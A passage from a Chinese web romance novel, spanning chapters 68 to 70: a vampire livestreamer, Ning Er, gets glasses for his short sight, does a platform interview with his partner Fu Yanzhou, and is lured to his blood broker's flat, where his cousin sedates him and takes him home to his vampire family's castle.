有一次直播结束,最后一个话题刚好是讨论称呼,宁尔看着傅宴舟嘴角的坏笑,一副呼之欲出的样子,赶紧站起来捂住他的嘴。 就这么相安无事了很多天,直到宁尔有一天忽然在卫生间里绊倒,摔了一跤。 他揉着屁股站起来,才看清地上掉了一个什么东西,自己就是被这个东西绊倒的。 宁尔揉了揉眼睛,却始终朦朦胧胧只能看到一个轮廓。 他又揉了揉眼睛,眯起眼睛,不断弯腰,才看清那是一个杯子。 东西是什么不重要,重要的是宁尔的眼睛。 他连这么大的东西都看不清了吗? 宁尔把杯子捡起来,瞪大眼睛四处用眼张望。 很久以前他就觉得自己看手机屏幕有些眩晕模糊,最近这段时间这种模糊更加严重了。 每天只有他在院子里向远处张望过后才会好一点。 他最近喝血的频率有所减少,起初还以为自己的没吃饱的缘故,可是也不会模糊严重到这种程度吖。 视力是吸血鬼最重要的东西了! 他们长期生活在夜里,能夜间生活甚至快速穿行,全靠物种的视力优势。 可是、可是他现在竟然在黑暗中看不清了…… 宁尔又在黑暗里伸出自己的五指。 这个倒是能看清。 他又把那个杯子放回地上,自己退后好几米。 果然,看不清了…… 他……竟然看不清了……- 晚上傅宴舟回到家时还不到8点,冬日天已经蒙蒙黑了,宁尔少见地没有在客厅或者工作室准备。 傅宴舟脱掉外衣,来到卧室,第一眼没看到人,只能看到一团团在被子里的隆起。 脑袋都没露出来。 傅宴舟轻步走过去,坐在床边,伸手,像敲门一样轻叩了两下被子: “请问有人在吗?” 宁尔的声音闷闷地从被子里传来: “没有。” “哦,那我等会儿再来问。” “回来的买了新出炉的芝士蛋糕,我先去享用了。” 傅宴舟刚一起身,宁尔整个人就从被子里钻出来了,头发乱蓬蓬的,苍白的小脸上还带着两道泪痕,眼睛亮晶晶的。 傅宴舟心猛地沉了一下,坐回床边帮他把眼泪擦干: “怎么了宝宝?” 宁尔撇着嘴,憋了一会儿委屈道: “哥哥,我的眼睛看不清了,呜呜呜。” “怎么看不清?什么感觉?” “就是看东西,会模糊,距离远看不清,晚上也看不清,看手机也有重影。” “……” “哥哥,我会不会生了什么重病啊?会不会退化了呀?之后会不会听不到闻不到跑不动死掉呀?” 宁尔越说越伤心,心里已经脑补成自己变成一个没有异能的废鬼的样子。 “哥哥,你怎么不同情我呢?” 宁尔眼角挂着眼泪,看着傅宴舟,他的表情有些无奈,又有些想笑。 傅宴舟捏在宁尔脸上,用拇指轻轻为他擦去眼泪: “哭够了吗,宝宝?” “嗯?” “哭够了带你去治眼睛。” “现在?” “现在。” ? 宁尔戴着一个金属镜框,上面加了两个圆片,被要求在楼梯上走上来,再走下去。 穿着白大褂的医生温柔地问他晕不晕,宁尔确定不晕之后才摘下来。 “现在的清晰度是刚好的,对吗?” 宁尔点点头。 医生把眼镜收回,边记录边告知傅宴舟: “左右眼近视均50度,左眼有25度散光。建议佩戴矫正镜片,做眼部操进行康复训练。读书、玩手机要注意用眼姿势。” “今天可以先暂时制作一款眼镜带走,之后再为您用最新技术材料定制一款更适合宁先生的,寄到您家里,您看可以吗?” 傅宴舟点点头,回头看宁尔: “听到了?” 宁尔不好意思地点了点头。 他从前只是隐约知道人类戴眼镜是因为眼睛不好,并不清楚具体症状。 再加上自己是一只吸血鬼,压根没往这方面想。 吸血鬼竟然也会近视…… 原来真是玩手机玩的…… 想到自己刚刚又哭又闹,宁尔脸不好意思地红起来,朝傅宴舟吐了吐舌头。 傅宴舟把他挑得一只半框棕色眼镜卡在宁尔的眼睛上。 宁尔的眉眼太过于漂亮,任何眼镜带上去都会有压眉眼的感觉,比不了那张脸干干净净的帅气。 不过这个半框设计很活泼,符合他的年龄。 怎么看都很喜欢。 宁尔看到傅宴舟看他出神: “看什么?很丑吗?” 傅宴舟扬了扬嘴角,轻轻摇头。 宁尔早就眼馋傅宴舟的金丝框眼镜了,他总觉得傅宴舟戴着眼镜的时候,斯文的皮下,有几分有种不怒自威的严肃感。 宁尔也挑了一只试试,结果戴在他眼睛上,压根没有任何严肃斯文的意思。 反倒像是小朋友偷偷戴家长的眼镜。 宁尔又看了看眼镜店其他带着金丝框眼镜的店员,任何人都没有傅宴舟戴着的气质。 原来眼镜也挑人。 整个眼镜店都在为宁尔一个人闭店服务,宁尔向店员道了谢,牵着傅宴舟的手往外走。 宁尔老老实实戴上他的半框眼镜,不住地找能反光的东西看陌生的自己,走路都小心翼翼。 傅宴舟看宁尔好像路都不会走了,笑了笑,两个人贴地更近一点,用胳膊挽着他走。 “哥哥,你刚刚听我说时候就知道是近视了吗?” 傅宴舟有些无奈: “是啊。” “那你怎么不第一时间告诉我呢……还骗我是去医院……” 傅宴舟扬了扬嘴角: “小哭包哭得那么认真,我总得配合一下。” 宁尔脸更红了,低声怪他。 本来近视就已经让鬼很难过了。 他应该是所有吸血鬼大陆上第一只戴上眼镜的吸血鬼吧…… “记得医生的话。以后不许长时间看手机,尤其直播时候,要注意姿势,播半小时就去歇歇眼睛。” 傅宴舟像家长一样,带着第一次近视的小朋友配眼镜。 他一直很注重4岁傅童的视力,没想到问题出在了宁尔身上。 “哦……” 宁尔觉得眼睛有些痒,全然忘记了自己戴了眼镜的事,伸手去揉,手指碰到镜片,鼻托把自己戳得痛叫了一声。 傅宴舟连忙转头问他: “没事吧?” 宁尔赶忙摆摆手: “没事没事,忘记戴了眼镜……” 傅宴舟伸手,帮他重现调整好眼镜的位置。 宁尔本来也就18岁,戴上眼镜之后虽然漂亮有所掩盖,却有种男大学生的青春阳光气。 此刻一件干净的蓝色外套,眨眼看着傅宴舟,真有种放学回家的学生感。 傅宴舟一边调整宁尔的眼镜位置,一边伸手摘掉自己的眼镜放在西装口袋里。 宁尔现在也体会到了近视的滋味,他看着傅宴舟的动作,好奇地问: “哥哥,你怎么把眼镜摘掉了?” “因为你戴了眼镜。” “我?两个人不能同时戴眼镜吗?” “嗯。情侣之间,两个人不能同时戴眼镜。” “为、为什么?”宁尔睁大眼睛歪过脑袋,这又是什么神奇的人类眼镜规则? 下一秒,傅宴舟的脑袋已经凑了过来。 他们站在车边,全然不顾停车场随时会出现的人,傅宴舟距离靠得极近,两个人鼻息打在一起: “会挡住老公亲你。”—— 作者有话说: 温馨甜甜完了就要刀刀喽~ 第69章 宁尔最终倒在了满地血泊…… 宁尔被这句“老公”酥地一激灵, 温热的呼吸在深冬的冷意里交织,从耳廓到唇间。 傅宴舟的唇舌压上来,不顾大庭广众, 在高位处同宁尔索吻。 他睁着眼睛, 漆黑的眼眸情欲深沉, 仿佛要把宁尔戴着眼镜的样子也印入脑海,贪婪地吻到满意。 宁尔总觉得, 傅宴舟最近看自己的眼神越来越温柔了。 宁尔隐约能感觉到, 傅宴舟好像在准备什么, 或者等待什么, 等待着哪一刻把这种温柔和盘托出。 就像每天夜里他逗弄宁尔最动情的时刻不必再强忍的一刻。 这种等待, 也许和他口中要说出“我爱你”三个字有关。 宁尔回抱住傅宴舟,两条胳膊伸在傅宴舟大衣里, 肆意地感受温暖- 晚上直播的时候,宁尔悲伤地告诉大家他近视了这个消息。 人类受视力困扰的着实不少,这个话题一聊起来,弹幕立马各种诉说自己的视力经历。 [小时候怕挨揍,提前把视力表背会了, 结果压根看不见医生的棍儿] [有一次没考好,下雨天跑出去,觉得全世界都针对我,只有远处一个绿衣服女孩冲我笑,走进去一看是个邮筒] [食堂打饭把大姜块看成鸡腿谁懂啊呜呜呜] [那个不能怪近视, 毕竟姜老师是著名coser] [一个近视都能聊这么久, top1语音房原来这么无聊的么……] [不爱看走呗] 宁尔的语音房现在无疑是主页排行第一的热度,每天都会有很多人来,也会有很多走, 温馨当中也会偶尔夹杂各种声音,只是他现在已经可以做到完全不在意了。 两个小时的直播很快结束,大家还在意犹未尽的讨论近视话题。 宁尔下播之后立马放下手机,摘下眼镜跑到露台户外往远处看去。 他的别墅在偏郊区的地方,在露台上可以眺望到远处的群山。夜色里,群山连绵的黑影起伏辽阔。 宁尔揉着被镜框压过的眉心,忽然笑了笑,他现在好像越来越像一个人类了。 宁尔看够了回到房间,发现手机有很多未读微信。 他打开手机一看,竟然是那个提供血源的中介。 宁尔从来到人类世界就找到了他,两个人一直稳定交易了两年,虽然中途也有过涨价,但一直都是稳定供应的。 后来宁尔有了钱,彼此之间也有一定的信任,宁尔干脆在他那里成立了一个“血包基金会”,如果真有其他大陆甚至自己大陆的同族,真的要饿死的时候,希望可以帮助他们得到食物。 这一方面是因为宁尔的自我责任感,另一方面是害怕吸血鬼会因为饿极了而伤害人类。 直到半个月前,他忽然开始失联。 起初只是隔两天回复一次,到后面就是完全不回复了。 也就是因为他的失联,莱特才不得已出门去寻找新的血源中介,才有了后面的事。 后来的一周里,宁尔偶尔出门,会发现血包已经按照之前的约定被放在了老地方,只是微信依旧没有回消息。 自从被傅柏从摄像头里看到自己喝血包之后,中介通常会把血包包装成石榴果汁的样子,封口贴上一朵小花便签。 宁尔拿到这些被“外卖”来的血包,仔细检查过后发现所有的包装和封口都是完好的,和中介之前给他的一样。 他又谨慎地尝了尝这些新送的血包,并没有什么问题或者异常。 此刻几条消息发来,宁尔赶紧打开手机。 中介:[前几天出了一些事儿,我让信得过的朋友给你送去的血包收到了吗?] 中介:[我多送了一些,没有饿到你吧?] 中介:[我这几天都没看手机,怕你们等着急。] 宁尔赶紧回复: [出什么事了?和“我们”有关吗?你有没有受伤或者不安全?] 宁尔不知道贩卖血包在人类处于一种怎么样的灰色地带,总之,应该是不算容易。 中介:[我自己的私事,和你们没关系。都解决了。] 中介:[以后血包都照常供应。放心哈。] 宁尔看到他说没事,一颗悬着的心落回了肚子里。 中介:[对了,你现在有没有空?咱们在老地方见一面。] 中介:[我捡到一只受伤的吸血鬼,昏迷两天了,我不知道怎么处理。] 宁尔:[吸血鬼?受伤的吸血鬼?受了什么伤?在人类世界受得伤吗?] 中介:[我也不知道什么伤啊,反正就是一直昏迷不醒。] 中介:[你之前不是说,遇到吸血鬼有困难可以找你吗?] 中介:[你要不要看看照片?] 宁尔:[嗯。] 宁尔:[你……别拍他的脸。] 中介:[图片。] 一张照片发来,照片是开了闪光灯拍出来的。一间完全昏暗的房间里,地上躺着一个人。 凭借露出来的纤细胳膊,大概可以看出来是一个女性。 仅凭那截胳膊的异常颜色,宁尔就能判断她99%是吸血鬼。 中介:[怎么样,没骗你吧?] 宁尔倒吸了一口凉气: [你是怎么捡到她的,能详细和我说说吗?] 中介:[没办法详细说,是其他同行捡到的。具体在哪儿我也不知道,他们知道我赚钱多才扔给我的。] 中介:[我不想牵扯到你们之间,你还是自己过来看看吧。万一她死在我家里就完蛋了。] 中介:[就在老地方见面,然后我带你过去。] 中介:[还在吗?] 宁尔大概有十几分钟没回消息。 过了很久,中介忽然收到了他的消息: [我之前给你买血包的钱,还够吗?] 中介:[还、还有挺多的……怎么了?] 宁尔:[我会再转给你一笔钱,作为基金会的费用。还像先前那样,如果你遇到饥寒交迫的小吸血鬼,请你帮助他们。] 中介:[什么意思……] 宁尔:[我不需要从你这里购买血包了,我们以后,不要再联系了。] 中介:[??那这个鬼呢?] 中介:[你也不管了吗?你的同族?] 宁尔:[她不一定是我的同族。] 中介:[那你就可以见死不救了吗???] 中介:[只是因为不一定,都不需要亲眼看看吗???] 这几个问号让宁尔的心微微沉了一下。 他眉头轻轻皱起,眼神透过镜片看向屏幕,指尖不断摩挲着手机。 如果是在从前,宁尔看到人类世界的同族受伤,一定会二话不说冲过去救助。 毕竟,他有这种能力。 可现在…… 中介的长时间失联,忽然出现的“晕倒的吸血鬼”,还有中介的说话方式、打字习惯。 他从前,都是一整句话把话说完,不会分成好多条。 宁尔说不上来这里会有什么确切的“危险”,只是实在有些古怪。 从上次的“车祸”之后,宁尔就答应过傅宴舟,不会再让自己轻易踏入危险的境地。 正如傅宴舟那次重伤之后答应过他的,凡是出差一定详细告诉宁尔。哪怕在市内不和宁尔在一起的时候,身边几乎都有保镖。 因为有了爱人,宁尔人类世界才有了真正的畏惧。 这种畏惧仿佛跨越了种族,让他甚至忘记了自己是一只在人类世界异能超脱的吸血鬼。让他开始珍惜鬼生永生长河中的每一分一秒。 宁尔看着手机,最终打字回消息: [对不起。]- 宁尔一早就睡了,第二天他要接受一个缘来的官方采访。 缘来马上要迎来两周年庆,邀请各个头部主播做了一系列采访特辑,宁尔当然位列其中。 这还是宁尔第一次接受采访,还是需要露脸的。 宁尔之前对于采访的全部了解,都来源于看傅宴舟的采访视频。 看得多了,也就下意识学习起傅宴舟的回答方式。 直到采访前一天,宁尔还是有些紧张,于是拉着傅宴舟假装记者,看看他的回答是否得体。 傅宴舟坐在沙发上,模拟着记者向宁尔提问。 不管什么问题,宁尔的回答都是淡淡的,短短的。 能一个字就不两个字,最多的也几乎不超过五个字。 傅宴舟听着他的回答,还有宁尔回答时那种有些刻意别扭的神情,忍不住开口问: “宝宝,你……是不是有看过别人的采访?” 宁尔点点头。 “在刻意模仿他?” 宁尔:“嗯。” 宁尔:“怎么?” 傅宴舟稍稍挑眉: “这个人的采访回答,表现并不算好。” 宁尔:“是吗?” 傅宴舟颔首: “回答过于简短,避重就轻,防备心强,缺乏亲和力,甚至有些高高在上的姿态。” 宁尔愣住,眨着亮亮的眼睛看着傅宴舟。 傅宴舟察觉到他的目光,比了一个解释的手势: “如果这是你喜欢的某个名人或者偶像,抱歉。” “所以,这位是……?” 宁尔在傅宴舟的注视下,缓缓把面前播放了一半的采访视频平板转向傅宴舟: “哥哥,你。” “……” 采访原本想定在下午,在某个酒店的私人下午茶室,可这个时间地点对宁尔来说都不友好。 宁尔和傅宴舟说了一下,和对面沟通,商量能不能把地点改在盛景。 缘来最大的股东虽然是傅氏,但盛景却从未参与过公司的管理运营。 明眼人都能看出来,不过是老板给自己小朋友买来玩的。 如果真能在盛景进行采访,别说商量,简直是求之不得。 盛景的专业记者有着媒体人的敏锐素养,赶紧问宁尔,在盛景采访的话,傅宴舟能否也出镜,作为宁尔的恋人,回答几个简短的问题。 宁尔有些为难,他和傅宴舟说了一下,傅宴舟二话没说就答应下来。 知道是视频采访,还特意和宁尔选了两件衣服。 傍晚,傅宴舟和宁尔穿着一黑一白情侣毛衣出现在盛景的采访室。 缘来相当重视这次采访,专业设备人员来了好几个,宁尔一看到这么多人下意识躲了一下,傅宴舟立马从容地牵起他的手。 采访室内立马哇声一片。 做运营的本来就是年轻小姑娘多,平时在直播间里偷偷嗑,今天亲眼见到威严霸总和漂亮主播手拉手甜蜜现身,温柔合拍的一举一动,都要激动疯了。 同时激动地还有宁尔。 他看着摄像机、麦克风、打板,对一切都是掩藏不住的新鲜。 盛景方给所有人准备了点心和伴手礼,寒暄几句过后采访开始。 大部分问题都集中在他的直播事业上,宁尔之前都猜了个大概,并不难回答。 后面问到他对于直播的规划,会不会有一天想转视频直播或者短剧或者娱乐圈赛道,宁尔认真思考了一下回答: “最初开始直播时,是粉丝观众的互动支持我一直走下去。我原本以为重要的礼物和收益,后来才发现,是我们带给彼此的唯一的感觉。也许那种感觉就叫做意义。” “如果他们愿意看我露脸直播互动,甚至出演电视剧什么的,我也并不排斥尝试。” 宁尔是所有主播里,为数不多和粉丝关系这么密切,甚至对粉丝有“感恩”态度的人。 去除了金钱的需要之后,这种感恩和牵绊尤其显得真诚。 最好,在镜头下,宁尔拿起笔,亲手写下了一句“永远在一起”的粉丝寄语。 这个环节结束,终于来到了情侣共采的环节。 傅宴舟也坐在了沙发上,面对镜头大方温和打招呼,和宁尔共同回答问题。 最初说好的“几个问题”变成了几十个,宁尔回答时候总会害羞,到最后脸就一直红扑扑的。 倒是傅宴舟,他一改往日采访的沉默寡言,始终温和地回答着每一个问题,甚至会和记者一起笑起来。 宁尔惊讶地看着傅宴舟,傅宴舟则是毫不介意地在镜头前伸出那只戴着名贵腕表的说,满眼宠溺地摸了摸宁尔的脑袋。 来到了最后三个问题,记者清了清嗓子: “咳咳,接下来这个问题来自我们的粉丝投稿。你们曾经送过对方最珍贵的礼物是什么?” 这个问题一问完,宁尔有些心虚。 他没有送过傅宴舟什么很宝贵的礼物。 平时在某宝下单的有趣小玩意儿?偶尔挑的情侣装?亲手给他做得饭? 好像真的没有什么很贵的东西。 和傅宴舟的别墅宝石比起来更加微不足道。 正在宁尔发窘的时候,傅宴舟忽然先回答: “没有。” 记者有些惊讶: “没有?” 傅宴舟看向镜头笑了笑: “对于彼此真正珍贵的礼物,我还没来得及送出。如果大家猜到,也请先对小耳朵保密。” 傅宴舟轻轻眨眼,在镜头里流露出鲜有的温柔,记者差点叫出声。 她默默地把手里第二张“傅总有没有求婚的打算”这张问题板扔掉。 dddd。 “最后一个问题。”记者稍微顿了顿: “如果有一天,对方忽然消失在了你的生命中,你会如何应对?或者说,要怎样去释怀?” 这个问题一出,宁尔和傅宴舟同时抬头看向记者。 傅宴舟眼神肉眼可见冷下来,寒意仿佛瞬间蔓延在整个房间。 记者一瞬间见识到了傅宴舟冷脸的样子,赶忙解释: “这个问题是之前采访也问过其他情侣哒~” “深层次的思考更有利于情侣关系哒~” 傅宴舟抿唇不予回答,场面有些尴尬,宁尔看了一眼镜头,思考了一会儿,敛眸,纤长的睫毛轻轻抖动,他开口: “如果有一天……舟先生忽然消失在了我的生命中……” “时间吧。” “我想,我会用很久很久的时间去释怀……” 宁尔心里猛地颤动了一下,目光不敢直视镜头,下意识别过脑袋,自己心里都不知道这个“很久”到底会是多久。 宁尔回答完,记者又不死心地看向傅宴舟。 傅宴舟似笑非笑动了动脸部肌肉: “这种情况,应该不存在。假设无效,回答无效。” 这一刻,仿佛让宁尔看到了他从前一贯接受采访的样子。 问题全部回答完毕,记者和摄像等人纷纷站起来打圆场表示感谢。 傅宴舟给全员安排了澜·峰酒店的宵夜和温泉,工作人员立马惶恐起来,赶紧摆手: “傅总,我们公司严格规定,外出工作绝对不能收受客户的好处。谢谢您的好意了。” 傅宴舟笑了笑: “他母亲规定的?” 傅宴舟扬起下巴一指,众人顺着他的目光看去,宁尔也跟着看过去,后排站着一个带着棒球帽,穿着统一工作人员黑色卫衣的男生。 宁尔看向他,房间并不大,两个人之间的距离并不远,宁尔能看清他的脸。 这个人、这个人…… 宁尔看着这张十分熟悉的脸,忽然脱口而出: “乘风破浪?!” 这不就是缘来那个常年在观众榜上top3,还和宁尔表白过的大佬吗? 他为什么会在这里?他母亲又是谁? 宁尔看看其他工作人员,大家都没说话,显然都知道这件事。 男生神色有点复杂,在傅宴舟的注视下走上前,朝宁尔点点头,走到傅宴舟面前,语气收敛了不少: “傅总……” 宁尔眼睛睁得更大了。乘风破浪之前和傅宴舟打得那么凶,此刻竟然会这么尊敬他…… 傅宴舟欺负他了? 傅宴舟点了点头,给宁尔解释: “他是秦总的儿子,你见过的。” “盛景会安排车送你们去澜·峰,秦总那边我会知会。现在可以不把我当做客户。” 当领导…… 话说到这个份儿上,众人也不再纠结,欢天喜地地谢过傅总,边畅想着一会儿的澜·峰温泉夜宵。 那可是一夜上万块的温泉酒店啊! 房间里只剩下他们三个,乘风破浪有些尴尬,宁尔站在他俩中间也尴尬。 昔日的榜一、榜二和主播,竟然是在这种情况下见面。 宁尔看看乘风破浪,又看看傅宴舟。 最终是乘风破浪先开口,他看着傅宴舟,眉眼间不复之前孔雀开屏一样给宁尔发照片的狂傲,有些别扭道: “傅叔……” “傅……叔??” 宁尔睁大眼睛惊出声。乘风破浪比自己还要大几岁,怎么会叫傅宴舟叔…… 傅宴舟点点头: “他小时候和他父亲一起见过我。”傅宴舟很随意,仿佛对方就是在宴会上抓着蛋糕吃的小屁孩。 傅宴舟之所以能当“叔”,不是因为年龄多大,而是地位高。 连乘风破浪的父亲都得把傅宴舟尊为座上宾,叫一句叔叔不过分。 乘风破浪脸色一阵发窘,也和宁尔打了个招呼。 宁尔反应了一会儿: “所以,缘来是你母亲的公司?” 乘风破浪点了点头。 难怪乘风破浪送礼物不眨眼。 宁尔也点点头,但他还是不知道为什么今天乘风破浪会出现在这里。 他心虚地看了一眼傅宴舟,傅宴舟倒是很大度,开口道: “他不是总说遗憾没能亲眼让你见见,今天有机会,就让秦总把他派来了。” “现在还有遗憾么?”傅宴舟挑眉。 乘风破浪此刻在他面前完全没有争榜一的金主样,完全是一个小辈,尊敬之余还有些发窘。 “没、没了,” 傅宴舟点点头,问宁尔: “你们还有话聊吗?” 宁尔只觉得此刻又好笑又尴尬,哪还有心思聊,摇了摇头,朝着乘风破浪眨眨眼,说了一句“很高兴认识你”,就拉起了傅宴舟的手。 傅宴舟回握紧他的手,和乘风破浪道: “等会儿我让司机送你回家。半山别墅对么?” 乘风破浪赶紧摆摆手: “不用了傅叔,我自己回就行,我回国之后已经不住半山了。” “我要的人我得送回去。你父亲今天在家,你刚回国,多去陪陪吧。” 傅宴舟说完就示意送客,自己也带着宁尔往出走。 乘风破浪在傅宴舟面前,像个新兵蛋子一样。 完全构成不了任何竞争关系。 宁尔跟着傅宴舟下电梯,一路上忍不住发笑。 傅宴舟看着他笑,也忍不住弯了弯眉眼: “这么有趣吗?” 宁尔用力点点头: “有的,傅叔。”他学着乘风破浪的样子。 傅宴舟在他脑门上敲了一下: “现在嫌我老了?”傅宴舟身体凑过来。 这是在公司的电梯里,宁尔赶紧推开他: “明明是你自己给人家当叔叔的。” “那你今晚也这么叫。” 宁尔脸又一红,两人出了电梯,宁尔想到刚刚采访的最后一个问题,慢下脚步: “哥哥” “怎么了?” “如果有一天,我真的忽然消失在你的生命中……你会怎么办……” 宁尔看到傅宴舟额侧的青筋肉眼可见的跳动了一下,他看着宁尔的眼睛,迅速调整好自己的表情: “不会的,宝宝。” “如果,我是说如果呢?”宁尔追问。 傅宴舟不动声色地拉着宁尔从盛景出门,门前不远人行道上有行人在慢跑,有情侣在依偎散步,无数车辆在一旁川流而过。 傅宴舟牵着宁尔的手,看着面前每分每秒都在经过的人: “宝宝,你看” “世界上有这么多人,有那么多情侣从一而终携手到老。” “小概率事件,不会永远都发生在一个人身上。” 宁尔看着川流而过的车辆,心里猛地沉了一下。 至亲意外离世,对于傅宴舟来说已经是一件小概率的厄运。 可是遇到自己呢? 爱上一个吸血鬼这么小概率的事件,又发生了一次。 这……会是厄运吗…… 宁尔猛地打断了自己的想法,他忽然紧紧扣住傅宴舟的手,看着他的眼睛认真道: “哥哥,如果有一天我忽然消失了,你千万别着急。因为我总会想尽一切办法回来找你。” “你一定要坚信,我会回来找你。” 宁尔丝毫没有意识到,他的力气已经把傅宴舟的手握到疼痛了,只是想用力看着他,告诉他。 黑色的呢子大衣隐入夜色,昏黄的灯光落在傅宴舟的脸上,他眉目温柔,薄唇轻抿,认真地看着宁尔的脸。 他喉咙滚了滚,黑色的眼眸中有种说不出深沉: “我相信。” 宁尔后知后觉松了手,没来由跳动的眼皮稍稍安分了一些。 他松了口气,又想起了什么: “对了哥哥,我好像一直没有送过你什么贵重的礼物呢……” “珍贵不等于贵重,你觉得呢?” “这倒也是……” “所以,其实哥哥也还没有送你珍贵的礼物。” 傅宴舟的语气有些抱歉: “你有什么想要的吗?” 记者的问题让傅宴舟反思过,他送宁尔的,一直都是他认为他会需要喜欢的东西,宁尔从未开口主动提过。 宁尔看着他,眨眨眼: “什么都可以要吗?” “什么都可以。” “多贵都可以?” “多贵都可以。” 宁尔故意咬了咬嘴唇,笑着眨眨眼: “整个傅家独一无二的贵重物品,也可以?” “可以。”傅宴舟想都没想就直接答应了,答应过后才问: “是什么?我去准备。” 宁尔不再暗示,撇起嘴,一脸傲娇: “再等等吧,我现在还没决定想要呢。” 他说完两个人已经来到了车边,傅宴舟还有事,司机先送宁尔回去。 宁尔站在车前,却忽然停下脚步: “哥哥,我今天零食吃多了肚子撑,我想自己走一会儿再回去。” “走回去?很远。” “我走累了就打车,没事,不用担心。” 傅宴舟点了点头,临别前又在宁尔的嘴上轻轻亲了一下,目送宁尔向前走去,一直到他的背影消失在转角处。 尽管和傅宴舟在一起的每一秒都很安心,可能是因为昨天的事,宁尔心中总有些隐隐的不安。 走在路上呼吸呼吸新鲜空气,会减轻这种压抑和不安。 走了大概十分钟左右,手机铃声毫无征兆地响起。 宁尔眉头一跳,宁尔看了一眼屏幕上的号码,眉头不自觉地锁起来。 宁尔深吸了一口气,拐进小巷子里接起电话。 “救我啊啊啊啊,救我——” 电话里传来中介的叫喊声,他听起来害怕至极,电话接通后像是抓住了救命稻草一样,不管不顾地狂喊起来。 “冷静一点,你冷静一点,出什么事了?” 宁尔马上出声。 “吸血鬼,那个吸血鬼醒过来了,她、她好像要杀我……她、她要吃了我啊——” 宁尔浑身瞬间冷了一下,他马上意识到了中介的处境有多危险。 “你把电话公放让她听!” 下一秒,电话里传来一阵吸血鬼的嘶吼。 宁尔听得懂那种声音。 愤怒、饥饿、丧失理智。 宁尔冲着手机,恶狠狠地张嘴,发出了同样压制的嘶吼声。 警告。 他的声音和身份具有明显压制性,那边似乎被吓到了,恢复了片刻的理智。 “地址!” 中介颤颤巍巍报出地址,宁尔不再犹豫,看过导航之后就飞冲了出去。 如果中介死在人类世界,他和莱特一定会被牵扯出来。 甚至所有找他买过血的吸血鬼。 电话里中介一直在惨叫,他似乎也做出了一些反抗,但人类的能力怎么能和吸血鬼匹敌呢。 宁尔一边拼命在心里说不要,不到五分钟就冲到了中介的住处。 那是一栋再平凡不过的楼房,没有昏暗潮湿,没有鱼龙混杂。 坚固的防盗门没有打开,宁尔从外拽了拽,手上一用力,整个门锁被他用力气拽开。 宁尔冲到屋里,昏暗的房间里没有开灯,屋内已经没了声音,浓重的血腥味从卧室蔓延出来,宁尔猛地攥紧了拳,浑身温度冷到极点,眼眸霎时变成血红色。 他循着鲜血的味道来到卧室,鲜血已经朝着脚边淌来。 “我还以为你真的会见死不救呢。” 一个熟悉的声音从暗处传来,宁尔难以置信地睁大眼睛。 这种难以置信让他一时间停止了身体的反应。 “看什么看,小白眼鬼,假装不认识你姐啊?” 黑暗处缓缓走出来一个身姿利落、骨架匀称的“女生”,是宁尔从小到大关系最好的“表姐”,艾达。 “姐??……” “你、你怎么会在这儿?你、你杀了人类?” 宁尔浑身已经因为惊讶而颤抖起来。先前积攒的怒气轰然泄去,难以招架。 艾达一边走向他,一边把灯打开: “你怎么跑了几年视力都不好了。” “他不乖乖配合我,为了你,只能这样了。” 宁尔一晃眼,抬头往里看,中介的确被绑在椅子上,但他身上并没有任何伤口,满地的“鲜血”大概来自于地上散落的那些血包。 宁尔瞬间松开了拳头。 “我知道你想问什么。” 宁尔转头,艾达已经近在咫尺,一个冰冷的硬物抵在宁尔的腰间: “回去和公爵夫妇慢慢说吧。” “姐等我……” 麻醉感从腰际传播全身,宁尔眼睛一眨又一眨,最终倒在了满地血泊。 第70章 傅宴舟有危…… 宁尔感觉自己睡了一个好长好长的觉。 梦里, 他是那个意气风发的吸血鬼公子,身后跟随着一众朋友,肆意穿行在这片大陆上。 他们练习捕猎、追击、球类运动, 风驰电掣的速度和优雅的获胜方式, 在黑暗的庇护中肆意生长。 慢慢的, 梦里的黑暗一点点被白光覆盖,仿佛是从地平线下泛起的白光, 那种令吸血鬼不安的明亮。 在一点点泛白的光亮里, 爸爸、妈妈、姐姐、朋友们的身影依次出现, 又渐渐地在这种光亮里变得透明、远去。 宁尔想躲避这种光亮, 他尽力闭起眼睛去瑟缩, 在漫无边际的无助里,一个穿着西装的人影出现, 稳稳地走在他前面。 宁尔努力想睁开眼看看他,从他向前走的脚步看去,始终只能看到一个背影。 那个背影坚实有力,宁尔想伸出手去触碰,却始终触碰不到。 清晰的光亮吞噬了整个画面, 宁尔紧闭的眼睛狠狠一抖动,一阵熟悉的低频声音从耳边传来,宁尔在眩晕中缓缓睁开双眼。 幽黑昏暗的城堡中,穹顶上嵌了两盏昏黄色的灯。彩绘玻璃窗内透出幽光,将扭曲的影子投在冰冷的石壁上。 空气中散发着潮湿的味道, 混合着一种奇特的石木香味。 华丽的床幔边遮挡住了宁尔的小部分视线, 他低头,看了看自己身上华丽的睡衣,腰间的痛楚传来, 坚硬的石床触感渐渐清晰。 他回来了。 家。 城堡。 吸血鬼世界。 宁尔动了动身体,肩头触到一个放在旁边的东西。 他转头看去,一只黑色的皮质项圈。 他认识这种项圈,通常用做“惩罚”,或者防止逃跑。 宁尔浑身轻颤起来。 这个项圈,为什么放在一旁?什么时候会戴在自己脖子上。 他微弱的响声很快惊动了外面的人,急促的脚步声由远及近,两道修长的身影如夜风般掠入房间—— 两个相貌年轻却带着古老气息的吸血鬼,他们的英俊中透着非人的完美,猩红的眼眸在昏暗光线下若隐若现。 宁尔下意识想跑,他往后缩身体,公爵夫人却已经来到他身边,她坐在床边,紧紧拉着宁尔的手,双眼含泪: “宝宝,你真是吓死妈妈了!你知不知道我们有多担心你啊?” 公爵也快步跟来,看着宁尔完好无损的身体,叹了口气,眼神中流露出放松下来的暖意: “宁尔,你,你……” 他像是怕说出什么激到他的话,重重地叹了一口气: “算了,回来了,回来了。” 为、为什么爸爸妈妈在哭? 为、为什么他们好像……很担心我? 他们此刻,不应该掐住我的脖子,或者把我绑起来,宣布我的异种身份吗? 宁尔呆愣地看着他们,一时间久久没有动作。 爸爸的手揉在他的脑袋上,他从前,很少有这么温柔的动作。 与生俱来的至亲之情从心底蔓延上来,他顾不得身份,逃跑的念头瓦解粉碎,泪水涌入眼眶,他轻声颤抖: “爸爸,妈妈……” 妈妈再也不管不顾,把宁尔拥抱在怀里,失而复得地哭起来。 等她哭够了,宁尔伸手,帮母亲抹去眼泪,他看着父亲和母亲,那种孩子走失、生死不明的关切仿佛都让他们的容颜有了岁月的痕迹。 宁尔的手指在微微颤抖,抖了一会儿,他声音艰涩地开口: “你们,应该都知道了吧。” 宁尔不待他们开口就自己说出来: “我……我的基因检查结果,我,不是家族里纯粹的吸血鬼……甚至、不是你们亲生的。” 他闭上眼,等待审判降临。 他甚至,甚至不敢听他们亲口说出自己不是亲生的这个事实。 